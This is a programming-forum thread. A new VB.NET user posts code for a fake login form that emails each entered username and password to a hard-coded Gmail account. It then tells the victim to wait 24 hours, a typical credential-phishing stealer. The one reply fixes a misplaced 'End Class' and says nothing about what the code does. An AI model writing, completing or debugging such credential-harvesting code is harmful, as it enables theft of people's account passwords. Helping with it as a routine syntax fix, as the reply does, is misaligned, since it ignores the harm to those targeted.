Results 1 to 2 of 2

Thread: Urgent Help!

  1. #1

    Thread Starter
    New Member
    Join Date
    Jan 2011
    Posts
    1

    Urgent Help!

    Public Class Form1

    End Class


    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)Handles Button1.Click
    If TextBox1.Text = "" Then
    MsgBox("Username Is Missing")
    If TextBox2.Text = "" Then
    MsgBox("Password Is Mising")
    Else
    End If
    End If
    Dim smtpServer As New Net.Mail.SmtpClient()
    Dim mail As New Net.Mail.MailMessage()
    smtpServer.Credentials = New Net.NetworkCredential("******@gmail.com", "*****")
    'using gmail
    smtpServer.Port = 587
    smtpServer.Host = "smtp.gmail.com"
    smtpServer.EnableSsl = True
    mail = New Net.Mail.MailMessage()
    mail.From = New Net.Mail.MailAddress("[email protected]")
    mail.To.Add("******@gmail.com")
    mail.Subject = "Username: " & TextBox1.Text
    mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
    smtpServer.Send(mail)
    MsgBox("Please wait 24 hours before logging back in.")
    End Sub



    I Highlighted the problem, how do i fix it (im new to VB)

  2. #2
    Frenzied Member
    Join Date
    Nov 2005
    Posts
    1,834

    Re: Urgent Help!

    There is nothing wrong with that line, but "End Class" should be at the bottom.

    vb.net Code:
    1. Public Class Form1
    2.  
    3.     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
    4.         'Code
    5.     End Sub
    6.  
    7. End Class

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  



Click Here to Expand Forum to Full Width